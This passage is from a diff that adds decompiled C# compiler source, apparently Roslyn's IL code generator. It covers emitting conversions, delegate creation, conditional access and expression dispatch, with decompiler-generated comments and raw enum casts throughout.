_diagnostics, null, wrappedExpression.Syntax, isOptional: true); + if ((object)methodSymbol2 != null) + { + IFieldReference fieldForData2 = _builder.module.GetFieldForData(data, (ushort)SpecialTypeExtensions.SizeInBytes(val), wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + _builder.EmitOpCode(ILOpCode.Ldtoken); + _builder.EmitToken((IReference)(object)fieldForData2, wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitOpCode(ILOpCode.Call, 0); + EmitSymbolToken(methodSymbol2.Construct(typeSymbol), wrappedExpression.Syntax, null); + return true; + } + MethodSymbol methodSymbol3 = (MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)_module).Compilation, (WellKnownMember)404, _diagnostics, null, wrappedExpression.Syntax, isOptional: true); + if ((object)methodSymbol3 == null) + { + return false; + } + arrayTypeSymbol = arrayTypeSymbol.WithElementType(TypeWithAnnotations.Create(typeSymbol.EnumUnderlyingTypeOrSelf())); + IFieldReference arrayCachingFieldForData = _builder.module.GetArrayCachingFieldForData(data, _module.Translate(arrayTypeSymbol), wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + object obj = new object(); + _builder.EmitOpCode(ILOpCode.Ldsfld); + _builder.EmitToken((IReference)(object)arrayCachingFieldForData, wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + _builder.EmitOpCode(ILOpCode.Pop); + _builder.EmitIntConstant(num); + _builder.EmitOpCode(ILOpCode.Newarr); + EmitSymbolToken(arrayTypeSymbol.ElementType, wrappedExpression.Syntax); + _builder.EmitArrayBlockInitializer(data, wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitOpCode(ILOpCode.Stsfld); + _builder.EmitToken((IReference)(object)arrayCachingFieldForData, wrappedExpression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.MarkLabel(obj); + _builder.EmitOpCode(ILOpCode.Newobj, 0); + EmitSymbolToken(methodSymbol3.AsMember(spanType), wrappedExpression.Syntax, null); + return true; + } + + internal static bool IsTypeAllowedInBlobWrapper(SpecialType type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Invalid comparison between Unknown and I4 + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if (type - 7 <= 9 || type - 18 <= 1) + { + return true; + } + return false; + } + + private int TryGetRawDataForArrayInit(BoundArrayInitialization initializer, out ImmutableArray data) + { + data = default(ImmutableArray); + if (initializer == null) + { + return -1; + } + ImmutableArray initializers = initializer.Initializers; + if (initializers.Any((BoundExpression init) => init.ConstantValueOpt == (ConstantValue)null)) + { + return -1; + } + int length = initializers.Length; + if (length == 0) + { + data = ImmutableArray.Empty; + return 0; + } + BlobBuilder blobBuilder = new BlobBuilder(initializers.Length * 4); + ImmutableArray.Enumerator enumerator = initializer.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.ConstantValueOpt.Serialize(blobBuilder); + } + data = blobBuilder.ToImmutableArray(); + return length; + } + + private static bool IsNumeric(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected I4, but got Unknown + PrimitiveTypeCode primitiveTypeCode = type.PrimitiveTypeCode; + switch (primitiveTypeCode - 1) + { + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 11: + case 12: + case 13: + case 14: + return true; + case 7: + case 15: + return type.IsNativeIntegerType; + default: + return false; + } + } + + private void EmitConversionExpression(BoundConversion conversion, bool used) + { + switch (conversion.ConversionKind) + { + case ConversionKind.MethodGroup: + throw ExceptionUtilities.UnexpectedValue((object)conversion.ConversionKind); + case ConversionKind.ImplicitNullToPointer: + _builder.EmitIntConstant(0); + _builder.EmitOpCode(ILOpCode.Conv_u); + EmitPopIfUnused(used); + return; + } + BoundExpression operand = conversion.Operand; + if (!used && !conversion.ConversionHasSideEffects()) + { + EmitExpression(operand, used: false); + return; + } + EmitExpression(operand, used: true); + EmitConversion(conversion); + EmitPopIfUnused(used); + } + + private void EmitReadOnlySpanFromArrayExpression(BoundReadOnlySpanFromArray expression, bool used) + { + BoundExpression operand = expression.Operand; + NamedTypeSymbol spanType = (NamedTypeSymbol)expression.Type; + if (!TryEmitReadonlySpanAsBlobWrapper(spanType, operand, used, null, out var _)) + { + EmitExpression(operand, used); + if (used) + { + _builder.EmitOpCode(ILOpCode.Call, 0); + EmitSymbolToken(expression.ConversionMethod, expression.Syntax, null); + } + } + } + + private void EmitConversion(BoundConversion conversion) + { + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + switch (conversion.ConversionKind) + { + case ConversionKind.Identity: + EmitIdentityConversion(conversion); + break; + case ConversionKind.ImplicitNumeric: + case ConversionKind.ExplicitNumeric: + EmitNumericConversion(conversion); + break; + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + EmitImplicitReferenceConversion(conversion); + break; + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + EmitExplicitReferenceConversion(conversion); + break; + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ExplicitEnumeration: + EmitEnumConversion(conversion); + break; + case ConversionKind.ImplicitThrow: + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ExplicitTupleLiteral: + case ConversionKind.ExplicitTuple: + case ConversionKind.ImplicitDynamic: + case ConversionKind.ExplicitDynamic: + case ConversionKind.ImplicitUserDefined: + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + case ConversionKind.ExplicitUserDefined: + throw ExceptionUtilities.UnexpectedValue((object)conversion.ConversionKind); + case ConversionKind.ImplicitPointerToVoid: + case ConversionKind.ImplicitPointer: + case ConversionKind.ExplicitPointerToPointer: + break; + case ConversionKind.ExplicitIntegerToPointer: + case ConversionKind.ExplicitPointerToInteger: + { + PrimitiveTypeCode primitiveTypeCode = conversion.Operand.Type.PrimitiveTypeCode; + PrimitiveTypeCode primitiveTypeCode2 = conversion.Type.PrimitiveTypeCode; + _builder.EmitNumericConversion(primitiveTypeCode, primitiveTypeCode2, conversion.Checked); + break; + } + case ConversionKind.PinnedObjectToPointer: + _builder.EmitOpCode(ILOpCode.Conv_u); + break; + case ConversionKind.ImplicitNullToPointer: + throw ExceptionUtilities.UnexpectedValue((object)conversion.ConversionKind); + default: + throw ExceptionUtilities.UnexpectedValue((object)conversion.ConversionKind); + } + } + + private void EmitIdentityConversion(BoundConversion conversion) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + if (conversion.ExplicitCastInCode) + { + PrimitiveTypeCode primitiveTypeCode = conversion.Type.PrimitiveTypeCode; + if (primitiveTypeCode - 3 <= 1 && conversion.Operand.ConstantValueOpt == (ConstantValue)null) + { + EmitNumericConversion(conversion); + } + } + } + + private void EmitNumericConversion(BoundConversion conversion) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + PrimitiveTypeCode primitiveTypeCode = conversion.Operand.Type.PrimitiveTypeCode; + PrimitiveTypeCode primitiveTypeCode2 = conversion.Type.PrimitiveTypeCode; + _builder.EmitNumericConversion(primitiveTypeCode, primitiveTypeCode2, conversion.Checked); + } + + private void EmitImplicitReferenceConversion(BoundConversion conversion) + { + if (!conversion.Operand.Type.IsVerifierReference()) + { + EmitBox(conversion.Operand.Type, conversion.Operand.Syntax); + } + TypeSymbol type = conversion.Type; + if (!type.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Unbox_any); + EmitSymbolToken(conversion.Type, conversion.Syntax); + } + else if (type.IsArray()) + { + EmitStaticCast(conversion.Type, conversion.Syntax); + } + } + + private void EmitExplicitReferenceConversion(BoundConversion conversion) + { + if (!conversion.Operand.Type.IsVerifierReference()) + { + EmitBox(conversion.Operand.Type, conversion.Operand.Syntax); + } + if (conversion.Type.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Castclass); + EmitSymbolToken(conversion.Type, conversion.Syntax); + } + else + { + _builder.EmitOpCode(ILOpCode.Unbox_any); + EmitSymbolToken(conversion.Type, conversion.Syntax); + } + } + + private void EmitEnumConversion(BoundConversion conversion) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol typeSymbol = conversion.Operand.Type; + if (typeSymbol.IsEnumType()) + { + typeSymbol = ((NamedTypeSymbol)typeSymbol).EnumUnderlyingType; + } + PrimitiveTypeCode primitiveTypeCode = typeSymbol.PrimitiveTypeCode; + TypeSymbol typeSymbol2 = conversion.Type; + if (typeSymbol2.IsEnumType()) + { + typeSymbol2 = ((NamedTypeSymbol)typeSymbol2).EnumUnderlyingType; + } + PrimitiveTypeCode primitiveTypeCode2 = typeSymbol2.PrimitiveTypeCode; + _builder.EmitNumericConversion(primitiveTypeCode, primitiveTypeCode2, conversion.Checked); + } + + private void EmitDelegateCreation(BoundExpression node, BoundExpression receiver, bool isExtensionMethod, MethodSymbol method, TypeSymbol delegateType, bool used) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + bool flag = receiver == null || (!isExtensionMethod && method.IsStatic); + if (!used) + { + if (!flag) + { + EmitExpression(receiver, used: false); + } + return; + } + if (flag) + { + _builder.EmitNullConstant(); + if (method.IsAbstract || method.IsVirtual) + { + if (receiver is BoundTypeExpression boundTypeExpression) + { + TypeSymbol type = boundTypeExpression.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + _builder.EmitOpCode(ILOpCode.Constrained); + EmitSymbolToken(receiver.Type, receiver.Syntax); + goto IL_00bd; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/EmitConversion.cs", 333); + } + } + else + { + EmitExpression(receiver, used: true); + if (!receiver.Type.IsVerifierReference()) + { + EmitBox(receiver.Type, receiver.Syntax); + } + } + goto IL_00bd; + IL_00bd: + if (!method.IsStatic && method.IsMetadataVirtual() && !method.ContainingType.IsDelegateType() && !receiver.SuppressVirtualCalls) + { + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitOpCode(ILOpCode.Ldvirtftn); + method = method.GetConstructedLeastOverriddenMethod(_method.ContainingType, requireSameReturnType: true); + } + else + { + _builder.EmitOpCode(ILOpCode.Ldftn); + } + EmitSymbolToken(method, node.Syntax, null); + _builder.EmitOpCode(ILOpCode.Newobj, -1); + MethodSymbol methodSymbol = DelegateConstructor(node.Syntax, delegateType); + if ((object)methodSymbol != null) + { + EmitSymbolToken(methodSymbol, node.Syntax, null); + } + } + + private MethodSymbol DelegateConstructor(SyntaxNode syntax, TypeSymbol delegateType) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = delegateType.GetMembers(".ctor").GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol { Parameters: { Length: 2 } parameters } methodSymbol && (int)parameters[0].Type.SpecialType == 1) + { + SpecialType specialType = parameters[1].Type.SpecialType; + if ((int)specialType == 21 || (int)specialType == 22) + { + return methodSymbol; + } + } + } + _diagnostics.Add(ErrorCode.ERR_BadDelegateConstructor, syntax.Location, delegateType); + return null; + } + + private void EmitExpression(BoundExpression expression, bool used) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + if (expression == null) + { + return; + } + ConstantValue constantValueOpt = expression.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + if (!used) + { + return; + } + if ((object)expression.Type == null || ((int)expression.Type.SpecialType != 17 && !expression.Type.IsNullableType())) + { + EmitConstantExpression(expression.Type, constantValueOpt, used, expression.Syntax); + return; + } + } + _recursionDepth++; + if (_recursionDepth > 1) + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + EmitExpressionCore(expression, used); + } + else + { + EmitExpressionCoreWithStackGuard(expression, used); + } + _recursionDepth--; + } + + private void EmitExpressionCoreWithStackGuard(BoundExpression expression, bool used) + { + try + { + EmitExpressionCore(expression, used); + } + catch (InsufficientExecutionStackException) + { + _diagnostics.Add(ErrorCode.ERR_InsufficientStack, BoundTreeVisitor.CancelledByStackGuardException.GetTooLongOrComplexExpressionErrorLocation(expression)); + throw new EmitCancelledException(); + } + } + + private void EmitExpressionCore(BoundExpression expression, bool used) + { + switch (expression.Kind) + { + case BoundKind.AssignmentOperator: + EmitAssignmentExpression((BoundAssignmentOperator)expression, used ? UseKind.UsedAsValue : UseKind.Unused); + break; + case BoundKind.Call: + EmitCallExpression((BoundCall)expression, used ? UseKind.UsedAsValue : UseKind.Unused); + break; + case BoundKind.ObjectCreationExpression: + EmitObjectCreationExpression((BoundObjectCreationExpression)expression, used); + break; + case BoundKind.DelegateCreationExpression: + EmitDelegateCreationExpression((BoundDelegateCreationExpression)expression, used); + break; + case BoundKind.ArrayCreation: + EmitArrayCreationExpression((BoundArrayCreation)expression, used); + break; + case BoundKind.ConvertedStackAllocExpression: + EmitConvertedStackAllocExpression((BoundConvertedStackAllocExpression)expression, used); + break; + case BoundKind.ReadOnlySpanFromArray: + EmitReadOnlySpanFromArrayExpression((BoundReadOnlySpanFromArray)expression, used); + break; + case BoundKind.Conversion: + EmitConversionExpression((BoundConversion)expression, used); + break; + case BoundKind.Local: + EmitLocalLoad((BoundLocal)expression, used); + break; + case BoundKind.Dup: + EmitDupExpression((BoundDup)expression, used); + break; + case BoundKind.PassByCopy: + EmitExpression(((BoundPassByCopy)expression).Expression, used); + break; + case BoundKind.Parameter: + if (used) + { + EmitParameterLoad((BoundParameter)expression); + } + break; + case BoundKind.FieldAccess: + EmitFieldLoad((BoundFieldAccess)expression, used); + break; + case BoundKind.ArrayAccess: + EmitArrayElementLoad((BoundArrayAccess)expression, used); + break; + case BoundKind.ArrayLength: + EmitArrayLength((BoundArrayLength)expression, used); + break; + case BoundKind.ThisReference: + if (used) + { + EmitThisReferenceExpression((BoundThisReference)expression); + } + break; + case BoundKind.PreviousSubmissionReference: + throw ExceptionUtilities.UnexpectedValue((object)expression.Kind); + case BoundKind.BaseReference: + if (used) + { + NamedTypeSymbol containingType = _method.ContainingType; + _builder.EmitOpCode(ILOpCode.Ldarg_0); + if (containingType.IsValueType) + { + EmitLoadIndirect(containingType, expression.Syntax); + EmitBox(containingType, expression.Syntax); + } + } + break; + case BoundKind.Sequence: + EmitSequenceExpression((BoundSequence)expression, used); + break; + case BoundKind.SequencePointExpression: + EmitSequencePointExpression((BoundSequencePointExpression)expression, used); + break; + case BoundKind.UnaryOperator: + EmitUnaryOperatorExpression((BoundUnaryOperator)expression, used); + break; + case BoundKind.BinaryOperator: + EmitBinaryOperatorExpression((BoundBinaryOperator)expression, used); + break; + case BoundKind.NullCoalescingOperator: + EmitNullCoalescingOperator((BoundNullCoalescingOperator)expression, used); + break; + case BoundKind.IsOperator: + EmitIsExpression((BoundIsOperator)expression, used, omitBooleanConversion: false); + break; + case BoundKind.AsOperator: + EmitAsExpression((BoundAsOperator)expression, used); + break; + case BoundKind.DefaultExpression: + EmitDefaultExpression((BoundDefaultExpression)expression, used); + break; + case BoundKind.TypeOfOperator: + if (used) + { + EmitTypeOfExpression((BoundTypeOfOperator)expression); + } + break; + case BoundKind.SizeOfOperator: + if (used) + { + EmitSizeOfExpression((BoundSizeOfOperator)expression); + } + break; + case BoundKind.ModuleVersionId: + EmitModuleVersionIdLoad((BoundModuleVersionId)expression); + break; + case BoundKind.ModuleVersionIdString: + EmitModuleVersionIdStringLoad(); + break; + case BoundKind.InstrumentationPayloadRoot: + EmitInstrumentationPayloadRootLoad((BoundInstrumentationPayloadRoot)expression); + break; + case BoundKind.MethodDefIndex: + EmitMethodDefIndexExpression((BoundMethodDefIndex)expression); + break; + case BoundKind.MaximumMethodDefIndex: + EmitMaximumMethodDefIndexExpression((BoundMaximumMethodDefIndex)expression); + break; + case BoundKind.SourceDocumentIndex: + EmitSourceDocumentIndex((BoundSourceDocumentIndex)expression); + break; + case BoundKind.LocalId: + EmitLocalIdExpression((BoundLocalId)expression); + break; + case BoundKind.ParameterId: + EmitParameterIdExpression((BoundParameterId)expression); + break; + case BoundKind.MethodInfo: + if (used) + { + EmitMethodInfoExpression((BoundMethodInfo)expression); + } + break; + case BoundKind.FieldInfo: + if (used) + { + EmitFieldInfoExpression((BoundFieldInfo)expression); + } + break; + case BoundKind.ConditionalOperator: + EmitConditionalOperator((BoundConditionalOperator)expression, used); + break; + case BoundKind.AddressOfOperator: + EmitAddressOfExpression((BoundAddressOfOperator)expression, used); + break; + case BoundKind.PointerIndirectionOperator: + EmitPointerIndirectionOperator((BoundPointerIndirectionOperator)expression, used); + break; + case BoundKind.ArgList: + EmitArgList(used); + break; + case BoundKind.ArgListOperator: + EmitArgListOperator((BoundArgListOperator)expression); + break; + case BoundKind.RefTypeOperator: + EmitRefTypeOperator((BoundRefTypeOperator)expression, used); + break; + case BoundKind.MakeRefOperator: + EmitMakeRefOperator((BoundMakeRefOperator)expression, used); + break; + case BoundKind.RefValueOperator: + EmitRefValueOperator((BoundRefValueOperator)expression, used); + break; + case BoundKind.LoweredConditionalAccess: + EmitLoweredConditionalAccessExpression((BoundLoweredConditionalAccess)expression, used); + break; + case BoundKind.ConditionalReceiver: + EmitConditionalReceiver((BoundConditionalReceiver)expression, used); + break; + case BoundKind.ComplexConditionalReceiver: + EmitComplexConditionalReceiver((BoundComplexConditionalReceiver)expression, used); + break; + case BoundKind.PseudoVariable: + EmitPseudoVariableValue((BoundPseudoVariable)expression, used); + break; + case BoundKind.ThrowExpression: + EmitThrowExpression((BoundThrowExpression)expression, used); + break; + case BoundKind.FunctionPointerInvocation: + EmitCalli((BoundFunctionPointerInvocation)expression, used ? UseKind.UsedAsValue : UseKind.Unused); + break; + case BoundKind.FunctionPointerLoad: + EmitLoadFunction((BoundFunctionPointerLoad)expression, used); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)expression.Kind); + } + } + + private void EmitThrowExpression(BoundThrowExpression node, bool used) + { + EmitThrow(node.Expression); + EmitDefaultValue(node.Type, used, node.Syntax); + } + + private void EmitComplexConditionalReceiver(BoundComplexConditionalReceiver expression, bool used) + { + TypeSymbol type = expression.Type; + object obj = new object(); + object obj2 = new object(); + EmitInitObj(type, used: true, expression.Syntax); + EmitBox(type, expression.Syntax); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + EmitExpression(expression.ReferenceTypeReceiver, used); + _builder.EmitBranch(ILOpCode.Br, obj2, ILOpCode.Nop); + if (used) + { + _builder.AdjustStack(-1); + } + _builder.MarkLabel(obj); + EmitExpression(expression.ValueTypeReceiver, used); + _builder.MarkLabel(obj2); + } + + private void EmitLoweredConditionalAccessExpression(BoundLoweredConditionalAccess expression, bool used) + { + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Invalid comparison between Unknown and I4 + BoundExpression receiver = expression.Receiver; + TypeSymbol type = receiver.Type; + LocalDefinition val = null; + ConstantValue? constantValueOpt = receiver.ConstantValueOpt; + if (constantValueOpt != null && !constantValueOpt.IsNull) + { + val = EmitReceiverRef(receiver, Binder.AddressKind.ReadOnly); + EmitExpression(expression.WhenNotNull, used); + if (val != null) + { + FreeTemp(val); + } + return; + } + object obj = new object(); + object obj2 = new object(); + LocalDefinition val2 = null; + bool flag = !type.IsReferenceType && !type.IsValueType; + bool flag2 = (expression.ForceCopyOfNullableValueType && flag && ((TypeParameterSymbol)type).EffectiveInterfacesNoUseSiteDiagnostics.IsEmpty) || LocalRewriter.CanChangeValueBetweenReads(receiver, localsMayBeAssignedOrCaptured: false) || (type.IsReferenceType && (int)type.TypeKind == 11) || (receiver.Kind == BoundKind.Local && IsStackLocal(((BoundLocal)receiver).LocalSymbol)) || (flag && IsConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker.Analyze(expression)); + if (flag2) + { + if (flag) + { + val = EmitReceiverRef(receiver, Binder.AddressKind.Constrained); + if (val == null) + { + EmitDefaultValue(type, used: true, receiver.Syntax); + EmitBox(type, receiver.Syntax); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + EmitLoadIndirect(type, receiver.Syntax); + val2 = AllocateTemp(type, receiver.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val2); + _builder.EmitLocalAddress(val2); + _builder.EmitLocalLoad(val2); + EmitBox(type, receiver.Syntax); + } + else + { + _builder.EmitOpCode(ILOpCode.Dup); + EmitLoadIndirect(type, receiver.Syntax); + EmitBox(type, receiver.Syntax); + } + } + else + { + Binder.AddressKind addressKind = Binder.AddressKind.ReadOnly; + val = EmitReceiverRef(receiver, addressKind); + _builder.EmitOpCode(ILOpCode.Dup); + } + } + else + { + val = EmitReceiverRef(receiver, Binder.AddressKind.ReadOnly); + } + MethodSymbol hasValueMethodOpt = expression.HasValueMethodOpt; + if (hasValueMethodOpt != null) + { + _builder.EmitOpCode(ILOpCode.Call, 0); + EmitSymbolToken(hasValueMethodOpt, expression.Syntax, null); + } + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + if (val != null && !flag2) + { + FreeTemp(val); + val = null; + } + if (flag2) + { + _builder.EmitOpCode(ILOpCode.Pop); + } + BoundExpression whenNullOpt = expression.WhenNullOpt; + if (whenNullOpt == null) + { + EmitDefaultValue(expression.Type, used, expression.Syntax); + } + else + { + EmitExpression(whenNullOpt, used); + } + _builder.EmitBranch(ILOpCode.Br, obj2, ILOpCode.Nop); + if (flag2) + { + _builder.AdjustStack(1); + } + if (used) + { + _builder.AdjustStack(-1); + } + _builder.MarkLabel(obj); + if (!flag2) + { + val = EmitReceiverRef(receiver, Binder.AddressKind.Constrained); + } + EmitExpression(expression.WhenNotNull, used); + _builder.MarkLabel(obj2); + if (val2 != null) + { + FreeTemp(val2); + } + if (val != null) + { + FreeTemp(val); + } + } + + private void EmitConditionalReceiver(BoundConditionalReceiver expression, bool used) + { + if (!expression.Type.IsReferenceType) + { + EmitLoadIndirect(expression.Type, expression.Syntax); + } + EmitPopIfUnused(used); + } + + private void EmitRefValueOperator(BoundRefValueOperator expression, bool used) + { + EmitRefValueAddress(expression); + EmitLoadIndirect(expression.Type, expression.Syntax); + EmitPopIfUnused(used); + } + + private void EmitMakeRefOperator(BoundMakeRefOperator expression, bool used) + { + EmitAddress(expression.Operand, Binder.AddressKind.Writeable); + _builder.EmitOpCode(ILOpCode.Mkrefany); + EmitSymbolToken(expression.Operand.Type, expression.Operand.Syntax); + EmitPopIfUnused(used); + } + + private void EmitRefTypeOperator(BoundRefTypeOperator expression, bool used) + { + EmitExpression(expression.Operand, used: true); + _builder.EmitOpCode(ILOpCode.Refanytype); + _builder.EmitOpCode(ILOpCode.Call, 0); + MethodSymbol getTypeFromHandle = expression.GetTypeFromHandle; + EmitSymbolToken(getTypeFromHandle, expression.Syntax, null); + EmitPopIfUnused(used); + } + + private void EmitArgList(bool used) + { + _builder.EmitOpCode(ILOpCode.Arglist); + EmitPopIfUnused(used); + } + + private void EmitArgListOperator(BoundArgListOperator expression) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < expression.Arguments.Length; i++) + { + BoundExpression argument = expression.Arguments[i]; + RefKind refKind = (RefKind)((!expression.ArgumentRefKindsOpt.IsDefaultOrEmpty) ? ((int)expression.ArgumentRefKindsOpt[i]) : 0); + EmitArgument(argument, refKind); + } + } + + private void EmitArgument(BoundExpression argument, RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + if ((int)refKind != 0) + { + if ((int)refKind == 3) + { + LocalDefinition temp = EmitAddress(argument, Binder.AddressKind.ReadOnly); + AddExpressionTemp(temp); + return; + } + LocalDefinition val = EmitAddress(argument, ((int)refKind == 5) ? Binder.AddressKind.ReadOnlyStrict : Binder.AddressKind.Writeable); + if (val != null) + { + AddExpressionTemp(val); + } + } + else + { + EmitExpression(argument, used: true); + } + } + + private void EmitAddressOfExpression(BoundAddressOfOperator expression, bool used) + { + EmitAddress(expression.Operand, Binder.AddressKind.ReadOnlyStrict); + if (used && !expression.IsManaged) + { + _builder.EmitOpCode(ILOpCode.Conv_u); + } + EmitPopIfUnused(used); + } + + private void EmitPointerIndirectionOperator(BoundPointerIndirectionOperator expression, bool used) + { + EmitExpression(expression.Operand, used: true); + if (!expression.RefersToLocation) + { + EmitLoadIndirect(expression.Type, expression.Syntax); + } + EmitPopIfUnused(used); + } + + private void EmitDupExpression(BoundDup expression, bool used) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if ((int)expression.RefKind == 0) + { + if (used) + { + _builder.EmitOpCode(ILOpCode.Dup); + } + } + else + { + _builder.EmitOpCode(ILOpCode.Dup); + EmitLoadIndirect(expression.Type, expression.Syntax); + EmitPopIfUnused(used); + } + } + + private void EmitDelegateCreationExpression(BoundDelegateCreationExpression expression, bool used) + { + BoundExpression boundExpression = ((expression.Argument is BoundMethodGroup boundMethodGroup) ? boundMethodGroup.ReceiverOpt : expression.Argument); + MethodSymbol method = expression.MethodOpt ?? boundExpression.Type.DelegateInvokeMethod(); + EmitDelegateCreation(expression, boundExpression, expression.IsExtensionMethod, method, expression.Type, used); + } + + private void EmitThisReferenceExpression(BoundThisReference thisRef) + { + TypeSymbol type = thisRef.Type; + _builder.EmitOpCode(ILOpCode.Ldarg_0); + if (type.IsValueType) + { + EmitLoadIndirect(type, thisRef.Syntax); + } + } + + private void EmitPseudoVariableValue(BoundPseudoVariable expression, bool used) + { + EmitExpression(expression.EmitExpressions.GetValue(expression, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), used); + } + + private void EmitSequencePointExpression(BoundSequencePointExpression node, bool used) + { + EmitSequencePoint(node); + EmitExpression(node.Expression, used: true); + EmitPopIfUnused(used); + } + + private void EmitSequencePoint(BoundSequencePointExpression node) + { + SyntaxNode syntax = node.Syntax; + if (_emitPdbSequencePoints) + { + if (syntax == null) + { + EmitHiddenSequencePoint(); + } + else + { + EmitSequencePoint(syntax); + } + } + } + + private void EmitSequenceExpression(BoundSequence sequence, bool used) + { + DefineLocals(sequence); + EmitSideEffects(sequence); + if (sequence.Value.Kind != BoundKind.TypeExpression) + { + EmitExpression(sequence.Value, used); + } + FreeLocals(sequence); + } + + private void DefineLocals(BoundSequence sequence) + { + if (!sequence.Locals.IsEmpty) + { + _builder.OpenLocalScope((ScopeType)0, (ITypeReference)null); + ImmutableArray.Enumerator enumerator = sequence.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + DefineLocal(current, sequence.Syntax); + } + } + } + + private void FreeLocals(BoundSequence sequence) + { + if (!sequence.Locals.IsEmpty) + { + _builder.CloseLocalScope(); + ImmutableArray.Enumerator enumerator = sequence.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + FreeLocal(current); + } + } + } + + private void DefineAndRecordLocals(BoundSequence sequence) + { + if (!sequence.Locals.IsEmpty) + { + _builder.OpenLocalScope((ScopeType)0, (ITypeReference)null); + ImmutableArray.Enumerator enumerator = sequence.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + LocalDefinition temp = DefineLocal(current, sequence.Syntax); + AddExpressionTemp(temp); + } + } + } + + private void CloseScopeAndKeepLocals(BoundSequence sequence) + { + if 